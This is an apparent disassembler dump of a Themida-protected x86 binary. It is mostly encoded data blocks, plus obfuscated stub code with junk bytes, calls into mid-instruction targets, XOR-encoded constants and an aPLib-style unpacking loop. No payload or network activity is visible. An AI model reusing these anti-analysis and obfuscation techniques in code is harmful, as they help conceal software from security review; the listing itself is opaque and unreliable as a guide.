dd 7FA2A51h, 0C0E9h, 0D98D0100h, 907FA2Eh, 0FA0B4DBDh
dd 89263207h, 0FA1E859Dh, 0F02B207h, 68Ah, 8D8D2900h, 0E907FA23h
dd 52h, 60C232F5h, 0BBC28B66h, 2075151Dh, 1D7A0561h, 60608A75h
dd 9E8h, 0DF6BA00h, 244BE2Dh, 605E2AFEh, 6AB76161h, 8AF96061h
dd 0CC8A61F3h, 0FC8D3F9h, 189h, 4235F500h, 6098D108h, 0FBC78166h
dd 0F3B70F8Eh, 0FCAFE61h, 185h, 0D20AF800h, 0FFA7850Fh
dd 8960FFFFh, 0FA34BD85h, 0E94B6107h, 0Bh, 6DA91A63h, 0A6ECA9BBh
dd 0F6A3ADEh, 684h, 498D8900h, 4607FA01h, 7D858960h, 5307FA0Ah
dd 0AE9h, 225FA00h, 8A6D3ED5h, 580AFA78h, 0FDB0B61h, 0FFFF4485h
dd 258501FFh, 0CF07FA0Bh, 0F8DB529h, 8E0F07FAh, 6, 0B719D89h
dd 7FAh, 8299501h, 7FAh, 0CE9h, 404C8900h, 462FE6C6h, 56E3FB4h
dd 0F000062h, 88Eh, 2810F00h, 60000000h, 60000061h, 2A0D958Bh
dd 61FC07FAh
; ---------------------------------------------------------------------------
loc_58757C: ; CODE XREF: sub_586E51:loc_586F05j
lea eax, [ebp+7FA3AE2h]
js loc_58758E
mov [ebp+7FA2019h], eax
loc_58758E: ; CODE XREF: sub_586E51+731j
mov [ebp+7FA2539h], eax
jo loc_5875AA
jno loc_5875AA
jmp loc_5875AA
; ---------------------------------------------------------------------------
db 95h, 6Bh, 0B6h
db 2 dup(75h)
; ---------------------------------------------------------------------------
loc_5875AA: ; CODE XREF: sub_586E51+743j
; sub_586E51+749j ...
lea eax, [ebp+7FA3F32h]
mov [ebp+7FA0121h], esi
mov [ebp+7FA2E69h], eax
call near ptr loc_5875D2+2
push edi
push ecx
mov byte ptr [ebp+7FD5ED48h], 3Eh
push edi
mov eax, ds:0B81B1E5h
or esi, ebx
loc_5875D2: ; CODE XREF: sub_586E51+76Bp
cmp esi, [ebx+665F8AB2h]
sub_586E51 endp ; sp-analysis failed
and ebx, 0C78180ADh
sbb ebp, [esi+0]
add [ebx-5D36263h], cl
pop es
mov esi, 1B4Eh
mov [ebp+7FA1DF9h], eax
loc_5875F3: ; CODE XREF: Themida_:00587696j
mov ecx, [edi]
mov edx, [ebp+7FA0AE1h]
add ecx, 1B1CBA31h
pusha
mov edi, 5828C7B1h
mov dx, cx
popa
xor ecx, 2FBD1F33h
call near ptr loc_587623+6
sub al, 6Bh
scasd
mov ds:0D1A6C9C9h, al
adc [edi+1Ah], edx
mov ch, 0Ah
loc_587623: ; CODE XREF: Themida_:00587611p
sub dword ptr [esi+7E32E9CEh], 0C9D7DA81h
mov byte ptr [ebx], 58h
add ecx, 2A16CA38h
mov ax, 4615h
mov [edi], ecx
and ebx, [ebp+7FA2109h]
sub edi, 53A0E6FAh
jmp loc_587660
; ---------------------------------------------------------------------------
db 7Ch, 0F8h, 5Eh
dd 75CD5C86h, 4D290DBAh, 0A3BA72Fh, 99D4D57h
; ---------------------------------------------------------------------------
loc_587660: ; CODE XREF: Themida_:00587648j
add edi, 53A0E6F6h
mov ah, cl
sub esi, 1
jnz loc_587690
mov ebx, [ebp+7FA0D71h]
jmp loc_5876A8
; ---------------------------------------------------------------------------
db 0Eh
dd 0D20C6C21h, 0BF94AA25h, 9195E6DCh, 0D5A5E59Dh
; ---------------------------------------------------------------------------
loc_587690: ; CODE XREF: Themida_:0058766Ej
mov [ebp+7FA2661h], edx
jmp loc_5875F3
; ---------------------------------------------------------------------------
db 50h
dd 1D67495Bh, 97EE631Ah, 0CBCEE0F6h
; ---------------------------------------------------------------------------
loc_5876A8: ; CODE XREF: Themida_:0058767Aj
jmp short loc_5876BE
; ---------------------------------------------------------------------------
align 4
dd 3 dup(0)
dd 0E40000h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5876BE: ; CODE XREF: Themida_:loc_5876A8j
lea eax, [ebp+7FA4335h]
mov [ebp+7FA147Dh], eax
cmp dword ptr [ebp+7FA4275h], 0
jz loc_58780C
mov byte ptr [ebp+7FA0665h], 56h
call near ptr loc_5876E6+1
cmp [ebp+1Fh], ebp
loc_5876E6: ; CODE XREF: Themida_:005876DEp
aam 50h
mov eax, [esp+4]
mov eax, [eax]
mov [esp+4], eax
pop eax
push dword ptr [ebp+7FA08A5h]
lea eax, [ebp+7FA3AE2h]
call eax
mov [ebp+7FA4269h], eax
mov byte ptr [ebp+7FA0665h], 56h
push 8E7B013Ah
xor dword ptr [esp], 12D3B968h
push dword ptr [ebp+7FA08A5h]
lea eax, [ebp+7FA3AE2h]
call eax
mov [ebp+7FA426Dh], eax
push 4
push 34334CD8h
xor dword ptr [esp], 34335CD8h
mov eax, [ebp+7FA4279h]
add eax, 1F4h
shl eax, 2
push eax
mov [esp], eax
push 0
call dword ptr [ebp+7FA426Dh]
mov [ebp+7FA4271h], eax
mov ebx, eax
mov eax, 0FFFFFFFFh
call dword ptr [ebp+7FA147Dh]
mov eax, ebx
call dword ptr [ebp+7FA147Dh]
jmp loc_58780C
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+7FA4275h], 0
jnz loc_587784
retn
; ---------------------------------------------------------------------------
loc_587784: ; CODE XREF: Themida_:0058777Dj
push edi
mov edi, [ebp+7FA4271h]
stosd
add dword ptr [ebp+7FA4271h], 4
pop edi
retn
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+7FA4275h], 0
jnz loc_5877A3
retn
; ---------------------------------------------------------------------------
loc_5877A3: ; CODE XREF: Themida_:0058779Cj
pusha
sub dword ptr [ebp+7FA4271h], 4
loc_5877AB: ; CODE XREF: Themida_:loc_587807j
mov ebx, [ebp+7FA4271h]
cmp dword ptr [ebx-4], 0FFFFFFFFh
jnz loc_5877E1
call near ptr loc_5877C0+4
loc_5877C0: ; CODE XREF: Themida_:005877BBp
add [eax-74B00000h], al
inc esp
and al, 4
mov eax, [eax]
mov [esp+4], eax
pop eax
push 0
push dword ptr [ebx]
call dword ptr [ebp+7FA4269h]
popa
retn
; ---------------------------------------------------------------------------
jmp loc_587807
; ---------------------------------------------------------------------------
loc_5877E1: ; CODE XREF: Themida_:005877B5j
call near ptr loc_5877E6+4
loc_5877E6: ; CODE XREF: Themida_:loc_5877E1p
add [eax-74B00000h], al
inc esp
and al, 4
mov eax, [eax]
mov [esp+4], eax
pop eax
push 0
push dword ptr [ebx]
call dword ptr [ebp+7FA4269h]
sub dword ptr [ebp+7FA4271h], 4
loc_587807: ; CODE XREF: Themida_:005877DCj
jmp loc_5877AB
; ---------------------------------------------------------------------------
loc_58780C: ; CODE XREF: Themida_:005876D1j
; Themida_:00587771j
dec eax
jmp loc_5879BF
; ---------------------------------------------------------------------------
pusha
mov esi, [esp+24h]
mov edi, [esp+28h]
cld
mov dl, 80h
loc_58781E: ; CODE XREF: Themida_:loc_587836j
mov al, [esi]
inc esi
mov [edi], al
inc edi
mov ebx, 2
loc_587829: ; CODE XREF: Themida_:005878B4j
; Themida_:0058791Cj ...
add dl, dl
jnz loc_587836
mov dl, [esi]
inc esi
adc dl, dl
loc_587836: ; CODE XREF: Themida_:0058782Bj
jnb loc_58781E
add dl, dl
jnz loc_587849
mov dl, [esi]
inc esi
adc dl, dl
loc_587849: ; CODE XREF: Themida_:0058783Ej
jnb loc_5878B9
xor eax, eax
add dl, dl
jnz loc_58785E
mov dl, [esi]
inc esi
adc dl, dl
loc_58785E: ; CODE XREF: Themida_:00587853j
jnb loc_58798E
add dl, dl
jnz loc_587871
mov dl, [esi]
inc esi
adc dl, dl
loc_587871: ; CODE XREF: Themida_:00587866j
adc eax, eax
add dl, dl
jnz loc_587880
mov dl, [esi]
inc esi
adc dl, dl
loc_587880: ; CODE XREF: Themida_:00587875j
adc eax, eax
add dl, dl
jnz loc_58788F
mov dl, [esi]
inc esi
adc dl, dl
loc_58788F: ; CODE XREF: Themida_:00587884j
adc eax, eax
add dl, dl
jnz loc_58789E
mov dl, [esi]
inc esi
adc dl, dl
loc_58789E: ; CODE XREF: Themida_:00587893j
adc eax, eax
jz loc_5878AC
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_5878AC: ; CODE XREF: Themida_:005878A0j
mov [edi], al
inc edi
mov ebx, 2
jmp loc_587829
; ---------------------------------------------------------------------------
loc_5878B9: ; CODE XREF: Themida_:loc_587849j
mov eax, 1
loc_5878BE: ; CODE XREF: Themida_:loc_5878DAj
add dl, dl
jnz loc_5878CB
mov dl, [esi]
inc esi
adc dl, dl
loc_5878CB: ; CODE XREF: Themida_:005878C0j
adc eax, eax
add dl, dl
jnz loc_5878DA
mov dl, [esi]
inc esi
adc dl, dl
loc_5878DA: ; CODE XREF: Themida_:005878CFj
jb loc_5878BE
sub eax, ebx
mov ebx, 1
jnz loc_587921
mov ecx, 1
loc_5878F2: ; CODE XREF: Themida_:loc_58790Ej
add dl, dl
jnz loc_5878FF
mov dl, [esi]
inc esi
adc dl, dl
loc_5878FF: ; CODE XREF: Themida_:005878F4j
adc ecx, ecx
add dl, dl
jnz loc_58790E
mov dl, [esi]
inc esi
adc dl, dl
loc_58790E: ; CODE XREF: Themida_:00587903j
jb loc_5878F2
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_587829
; ---------------------------------------------------------------------------
loc_587921: ; CODE XREF: Themida_:005878E7j
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_58792F: ; CODE XREF: Themida_:loc_58794Bj
add dl, dl
jnz loc_58793C
mov dl, [esi]
inc esi
adc dl, dl
loc_58793C: ; CODE XREF: Themida_:00587931j
adc ecx, ecx
add dl, dl
jnz loc_58794B
mov dl, [esi]
inc esi
adc dl, dl
loc_58794B: ; CODE XREF: Themida_:00587940j
jb loc_58792F
cmp eax, 7D00h
jnb loc_58797E
cmp eax, 500h
jb loc_587975
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_587829
; ---------------------------------------------------------------------------
loc_587975: ; CODE XREF: Themida_:00587961j
cmp eax, 7Fh
ja loc_587981
loc_58797E: ; CODE XREF: Themida_:00587956j
add ecx, 2
loc_587981: ; CODE XREF: Themida_:00587978j
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_587829
; ---------------------------------------------------------------------------
loc_58798E: ; CODE XREF: Themida_:loc_58785Ej
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz loc_5879B3
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
mov ebx, 1
jmp loc_587829
; ---------------------------------------------------------------------------
loc_5879B3: ; CODE XREF: Themida_:00587996j
sub edi, [esp+28h]
mov [esp+1Ch], edi
popa
retn 8
; ---------------------------------------------------------------------------
loc_5879BF: ; CODE XREF: Themida_:0058780Dj
mov edx, 929h
jmp loc_58839C
; ---------------------------------------------------------------------------
db 9, 5Ch, 2Eh
dd 0B5E36663h, 0E9D9787h, 48EB79Eh, 724B3F9Bh, 2EE42565h
dd 0B44C3ED5h, 87BCD038h, 2E7A541Dh, 0B9A16D6Eh, 5C8A858Fh
dd 39CA6CDh, 1D0030DEh, 24EE5506h, 0B84D23C1h, 85BCD06Ah
dd 2E795B1Bh, 0A6A1776Eh, 5C959F92h, 1882BAD3h, 760E24C9h
dd 33A26165h, 0F55C23C5h, 90F2D138h, 2E6F4F1Bh, 0A7EE7177h
dd 52959192h, 63h dup(0)
dd 2E5C0900h, 0A9EF6C6Ah, 5C8A9F94h, 1080ADCEh, 37433CC9h
dd 61F16463h, 0FA4D35C2h, 9CBDC36Ah, 7C3D5E1Ah, 0A9EF6D72h
dd 15D8978Eh, 1896FFD0h, 640E2FCEh, 24F67672h, 99227ECDh
dd 88B7C91Ah, 2E315F07h, 0AFED6D72h, 15D89481h, 589FFCAh
dd 7A0E30D4h, 33ED686Eh, 0FA4970D9h, 8CA0852Eh, 7C7C4E07h
dd 0AFF82373h, 0CD88295h, 588B0CCh, 30DAh, 48h dup(0)
dd 2E5C0900h, 0A3E07164h, 5B8A958Bh, 189BFFCDh, 7F0E31D4h
dd 23A2766Ah, 0B44635C5h, 87A7CA2Ch, 7B6F1A10h, 0AEE86D69h
dd 1291D087h, 280A69Eh, 6E5D7DC9h, 2CE77178h, 0C4255A8Eh
dd 9AB3C026h, 7B3D1611h, 0A1EE6F69h, 891D084h, 189DB99Eh
dd 72437DD6h, 38F06A66h, 0F0463180h, 9AB7D76Ah, 7A6F5B00h
dd 0B5EE7A27h, 0E88D092h, 169DB8D1h, 73D6h, 61h dup(0)
dd 675B0900h, 0A3A1666Bh, 98A828Fh, 138AABCEh, 430E739Ah
dd 61F16C63h, 0F34722D0h, 0C9BFC438h, 2E6E5B1Ch, 0AEE46665h
dd 12999DC0h, 1B9AAFD7h, 734B29DAh, 25EC642Bh, 0ED493D80h
dd 0E4D8C028h, 7D3A4E1Dh, 0A6EF6A27h, 198C9385h, 0E8DFFDAh
dd 410E3C9Bh, 32F77762h, 0B45A3F80h, 8AB3D729h, 20795F1Fh
dd 0A9E95727h, 159ED093h, 0CFBAD2h, 630933D4h, 33ED722Bh
dd 0FA4970CBh, 9BBDC833h, 1411h, 0E0h dup(0)
dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0)
dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h
dd 2 dup(0)
; ---------------------------------------------------------------------------
loc_58839C: ; CODE XREF: Themida_:005879C4j
jmp loc_58B04D
; ---------------------------------------------------------------------------
mov edx, [ebp+7FA0D89h]
cld
xor bx, 0FF14h
mov eax, eax
push 0
push ebp
call sub_5883BA
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5883BA proc near ; CODE XREF: Themida_:005883B2p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_5883BA endp
; ---------------------------------------------------------------------------
dw 42AEh
dd 0B0E4AEB7h, 58C0Fh, 81660000h, 83879EEAh, 0FA2ACDBDh
dd 9750007h, 1899BD83h, 740007FAh, 8B535013h, 1B8C0h, 9D8D0000h
dd 7FCE0C6h, 585BD3FFh, 1899BD83h, 740007FAh, 0B8535011h
dd 1, 0DF779D8Dh, 0D3FF07FCh, 0BE8585Bh, 24000000h, 0F66F47F6h
dd 2F40ABA8h, 9D0BED30h, 7FA30C5h, 6A6FB65Ah, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
dd 927FC352h, 0E680881Fh, 68D0F04h, 2B000000h, 0FA1D6D9Dh
dd 0E8606007h, 12h, 81777E9h, 323C1174h, 238C41B3h, 40DC4163h
dd 0F5BDD36h, 8Eh, 0B58B6100h, 7FA01FDh, 6AC08B61h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 9D94C357h, 6CFCF90Ah, 0E99AE719h, 10h, 98945D4Eh, 4F17E463h
dd 93B34475h, 7BF53D24h, 217DBD83h, 0F0007FAh, 1CE84h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h
dd 0C3554500h, 0D927546Bh, 0AADF5E23h, 0B70F3CA6h, 5BD83D6h
dd 7FA1Eh, 199840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 170424h, 57470000h, 0BECF7CC3h, 0D1BF0FF6h
dd 0BDB50960h, 6607FA02h, 858BD98Bh, 7FA1E05h, 3E805h
dd 15953300h, 9007FA17h, 5050D18Ah, 0FD4B352h, 14E931h
dd 61640000h, 0BFF45553h, 4BD77AFCh, 6DB7177Ch, 87983809h
dd 585ADA36h, 5E990h, 66EE0000h, 8D149E11h, 0FA4F4285h
dd 81B58907h, 5007FA2Ah, 66525060h, 0F60D9B9h, 5A5B5331h
dd 450AB958h, 8961727Fh, 6A2404h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1A0424h, 56460000h, 10BDAFC3h, 2ED978BFh
dd 2DCDB529h, 858D07FAh, 7FA4F20h, 6E9h, 0B491BA00h, 502E9CE0h
dd 5E8h, 64D43000h, 10E9F2C4h, 80000000h, 14EB8576h, 38B29D4Ch
dd 77DEAD7Bh, 5B333372h, 66240489h, 5BCBF281h, 0DC595FFh
dd 0F68007FAh, 0F2816627h, 0C483D07Dh, 17DF800Ch, 4F20858Dh
dd 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
dd 53430000h, 405BD9C3h, 193340FFh, 8AD84E5Ch, 0DCB250F9h
dd 89240489h, 0FA10F58Dh, 8B026A07h, 0FA299D95h, 1495FF07h
dd 53006AEDh, 105D958Bh, 615A07FAh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Bh, 87C35242h, 0F6E92A71h, 0F54BC72h
dd 13E8DEBFh, 47000000h, 5462A8E7h, 1E9EBB5Ch, 2E821EF5h
dd 357E459Ah, 0BB66F344h, 0C75A51A7h, 0FA4F5385h, 107h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h
dd 0C3524200h, 0CA3677B2h, 8A0F508Ah, 8, 0F525052h, 5A585A31h
dd 0B7243489h, 4B5898Ch, 8B07FA4Fh, 0FA1E4995h, 0EDBD8307h
dd 107FA33h, 3C850Fh, 9D8B0000h, 7FA16C9h, 0F05F883h, 2D85h
dd 5BD3100h, 0B807FA2Bh, 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_58871B
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58871B proc near ; CODE XREF: Themida_:00588713p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_58871B endp
; ---------------------------------------------------------------------------
db 3Fh
dd 324A4446h, 0BD83B3B7h, 7FA24D9h, 6D840F00h, 0E8000000h
dd 8, 0A6418DABh, 410E5CD9h, 5BD3BF0Fh, 53006A60h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 93D529E5h, 5F95EC66h, 2BD1BD89h, 0B50107FAh, 7FA2B89h
dd 24D995FFh, 9D8B07FAh, 7FA2291h, 52006A61h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 1CD5383Ch
dd 789BD83h, 0F0007FAh, 2384h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0B8F5FCh, 0F9000000h
dd 53006A60h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h
dd 0C3534300h, 89103253h, 0FA24A98Dh, 15858B07h, 6A07FA16h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h
dd 43000000h, 45B5C353h, 0C083FA8Ah, 89D48A02h, 0FA4EFC85h
dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h
dd 0C3524200h, 20EAB8A9h, 27882F8h, 23599D89h, 0C607FAh
dd 0E5BD29FFh, 0C607FA1Ch, 0FA066585h, 6A5307h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 1E0224C3h, 0C7BDE4B1h, 4E8BEAAh, 0D8000000h, 0B7FCB148h
dd 616050FAh, 424448Bh, 0D18B6651h, 0BA008B5Ah, 6FAA80CCh
dd 4244489h, 58D78B66h, 0B70FD78Bh, 95B5FFD0h, 8907FA20h
dd 0FA1D6D95h, 0DD858D07h, 6A07FDA3h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 92C8C356h
dd 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
dd 51410000h, 0FEB642C3h, 894C9B76h, 0FA101985h, 0DE8B6607h
dd 0B75BD83h, 0F0107FAh, 0AE85h, 41958B00h, 6607FA26h
dd 618D7DBAh, 0AE9h, 9EECE100h, 9110B09h, 0C6F19494h, 0FA066585h
dd 85294507h, 7FA1D9Dh, 0CE8h, 9CFAB200h, 43884308h, 4E5EB008h
dd 999D89EAh, 5A07FA2Eh, 4949D268h, 892BBC5h, 34815570h
dd 29711024h, 29958B1Fh, 0FF07FA29h, 0FA2095B5h, 57006A07h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 1EFCC3DDh, 840F504Bh, 4, 43D1BB66h, 0DD858D5Ah, 8907FDA3h
dd 0FA220D9Dh, 0BBD0FF07h, 393AA7FBh, 0B529006Ah, 7FA15B1h
dd 0FFE6EB80h, 0AD9D29D0h, 8307FA0Dh, 0FA1E45BDh, 850F0107h
dd 0B1h, 15858BF9h, 0FC07FA16h, 6CE9h, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
dd 9DBB7126h, 609044D7h, 15B8CCB0h, 6142DBCAh, 0FE950h
dd 4A070000h, 5CCD6D93h, 0EABC68A2h, 281D3D3Ch, 0F5090C6h
dd 68Ch, 0D19D8B00h, 5B07FA1Bh, 8B66146Ah, 1995FFDAh, 6607FA10h
dd 1B0DEB81h, 9D9D8B58h, 907FA1Fh, 0FA0E5DB5h, 388007h
dd 0FFAC850Fh, 9D89FFFFh, 7FA3231h, 6A0100C6h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
dd 4E78C352h, 8181ED1Ch, 7BD984DBh, 6A6105h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 190424h, 56460000h, 0E5DF1FC3h
dd 8B79D5EFh, 9800FDEh, 0F000000h, 389h, 0D38B6600h, 0FD9BD83h
dd 0F0007FAh, 7184h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1C04h, 0C3554500h, 2A0C649Ch, 0DB9C9BE6h
dd 8BFF6A6Ah, 1995FFD9h, 0BA07FA10h, 4140E1A9h, 12E9h
dd 0D85D2A00h, 73C91CCAh, 1495BB29h, 0EEDF42C6h, 0E9F6049Bh
dd 0FFFFFFD5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ah, 9CC35343h, 4FBD1CFEh, 85C7B79Bh, 7FA0FD9h, 1, 891AE280h
dd 0FA4F0885h, 419D8907h, 5007FA2Ch, 6870Fh, 60600000h
dd 615E5261h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1B042444h, 43000000h, 6D2C353h, 0E303382Ah
dd 9D8B9597h, 7FA2D59h, 18F0F60h, 0F8000000h, 0B752056Ah
dd 858D5B98h, 7FA4F20h, 0D21B589h, 0B79007FAh, 9E850C6h
dd 5000000h, 3E94CBC0h, 0E968151Eh, 9E8h, 61C18F00h, 0AD460646h
dd 0B5BBB83Bh, 5B2F754Fh, 6A905Bh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 160424h, 57470000h, 0D9CD5C3h, 66DF8B66h
dd 8DE517BBh, 0FA4F1085h, 52006A07h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0A769BF87h
dd 44A31105h, 8953A7D1h, 0FA1671B5h, 89505A07h, 6A2404h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 9863ECC3h, 10719D8Bh, 0DE907FAh, 8C000000h, 65169DC8h
dd 7C5A27BFh, 99E57994h, 18C995FFh, 9D8B07FAh, 7FA0F51h
dd 5659D8Bh, 8D8D07FAh, 7FA7B9Bh, 18F5958Bh, 0C00B07FAh
dd 858D1174h, 7FA4F20h, 89D1FF50h, 0FA4F3E85h, 0C70AEB07h
dd 0FA4F3E85h, 0FFFFFF07h, 53006AFFh, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0C8A0F4Ch
dd 0F000000h, 683h, 8A0F00h, 0F9000000h, 50006A61h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 0C522B08h, 0FD71C78h, 0BE9D3B7h, 0F2000000h, 0D5BC4BBh
dd 0B9A53140h, 85C6BB8Ch, 7FA0665h, 50006A4Dh, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0EC74D5C0h
dd 6A75FDC3h, 68DDEB80h, 2FEA8207h, 48176B7h, 4AF4A124h
dd 0FFD18B74h, 0FA2279B5h, 699D8B07h, 8D07FA14h, 0FDA3DD85h
dd 0BE666007h, 8B663996h, 0D0FF61CEh, 5840Fh, 81660000h
dd 8936A0DBh, 0FA2AE585h, 0D08B6607h, 66585C6h, 664507FAh
dd 0C68D68Bh, 669A07F4h, 3481D18Bh, 759D6524h, 51006A14h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 9669DC38h, 0B5FFFD9Fh, 7FA2095h, 14E8h, 95FA8500h, 0B669BC3Dh
dd 0E2AEAD4Bh, 0EF5D2B79h, 0ECDA1E3Dh, 959D8BA9h, 5A07FA32h
dd 0A3DD858Dh, 0D0FF07FDh, 0D38143B6h, 4E37AE6Ah, 0EBD8589h
dd 0BD8907FAh, 7FA0C91h, 0E853D28Bh, 14h, 0A830C432h, 2BB4D215h
dd 6F812D4Eh, 0DC922A80h, 0F75D434Bh, 0E59958Bh, 5A5A07FAh
dd 89D98C66h, 0FA264185h, 4C1F607h, 294840Fh, 0BDE90000h
dd 6A000001h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 769AC355h, 63E4C1Fh, 0B58B4B0Eh
dd 7FA1505h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 17h, 7DC35545h, 817D26FBh, 1180C6h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 0B4BD2B19h, 0C1958BACh, 8307FA16h, 0FA2C05BDh, 850F0007h
dd 78h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh
dd 3CC35242h, 2623E1B2h, 0E3508015h, 0FE9D2h, 0E4690000h
dd 4FE21CF5h, 74F1E716h, 0E879E1E8h, 0EE98Ch, 0C4800000h
dd 0D0E24F8Eh, 0D8BA5EC4h, 6DFA2D31h, 0CCE9h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
dd 19FD3F59h, 0A9BD8956h, 5A07FA2Ch, 0F003E83h, 9C84h
dd 87BA6000h, 3112F025h, 0FA33C59Dh, 6A606107h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
dd 55DAC350h, 0CD665275h, 0E9146AF5h, 0Fh, 5B9946h, 0F0C91B17h
dd 0B6F82430h, 0FFD692D4h, 0FA101995h, 0F5D88B07h, 57006A61h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 2746B000h, 87D441ABh, 71958932h, 0F07FA2Bh, 38Eh, 0D6B70F00h
dd 0FFFF6FE9h, 8D2960FFh, 7FA0645h, 0D91958Bh, 2B6107FAh
dd 0FA2BF595h, 106C707h, 0E9000000h, 14h, 60F7B539h, 4B11BD36h
dd 98305466h, 7927340Fh, 0F1C57586h, 4F08BD83h, 0F0507FAh
dd 0C585h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1C04h, 0C3564600h, 8AEE0C68h, 0ED56FCBBh, 0BDB58B23h
dd 0F807FA0Eh, 64B9h, 6890F00h, 29000000h, 0FA23FD9Dh
dd 0E83E8007h, 0A840Fh, 0BA660000h, 2BE959D7h, 0F9000000h
dd 0C2057E80h, 3A840Fh, 810F0000h, 1Ah, 0EE8h, 0DCC3FD00h
dd 1C16A20Ah, 55302755h, 8BD2E693h, 0FA1F659Dh, 0F9465B07h
dd 0BA850F49h, 89FFFFFFh, 0FA074D8Dh, 38E907h, 85010000h
dd 7FA0E89h, 29E9B589h, 6A07FAh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 160424h, 52420000h, 1B449DC3h, 28A0Fh, 61600000h
dd 31659D8Bh, 0E95807FAh, 5, 7CFFCC44h, 41BD83CBh, 7FA1Dh
dd 0E6840Fh, 0D08A0000h, 7E960h, 62EA0000h, 0B44C9D8Eh
dd 6585C6FDh, 5407FA06h, 0A68ACA81h, 9668351Ah, 66C8C38Ch
dd 811256BBh, 32622434h, 0FE9378Dh, 0ED000000h, 72BE330Fh
dd 4D0A2F4h, 0A996795h, 0B5FF49DDh, 7FA2095h, 0F2DBD89h
dd 858D07FAh, 7FDA3DDh, 0F618D29h, 0D0FF07FAh, 14E9h, 747D1A00h
dd 46E7CF4h, 0B77B2A9Bh, 0B8D9FA71h, 0BC67F2BAh, 0F006A7Bh
dd 689h, 0D59D8B00h, 0FF07FA21h, 0FA1D41B5h, 14830F07h
dd 0E9000000h, 0Fh, 685E42BFh, 68EFC268h, 2CC19C3h, 0FF2F6F36h
dd 4820FD0h, 66000000h, 61CEA2BAh, 13E8h, 2ED66E00h, 2B41B8A6h
dd 95080E85h, 2A3B8743h, 0C923921Bh, 0BE8h, 0ECBACA00h
dd 0E37E4B89h, 0DBC0F5E0h, 9E9h, 0A70BC700h, 83DEE107h
dd 5A5B001Eh, 2A2985C7h, 107FAh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 170424h, 55450000h, 640DB7C3h
dd 14E95Fh, 794E0000h, 791BA74Fh, 0A02550D2h, 0D0D6C8BFh
dd 0EA6AE328h, 36064FAh, 0FA153195h, 26D6807h, 0BA666F85h
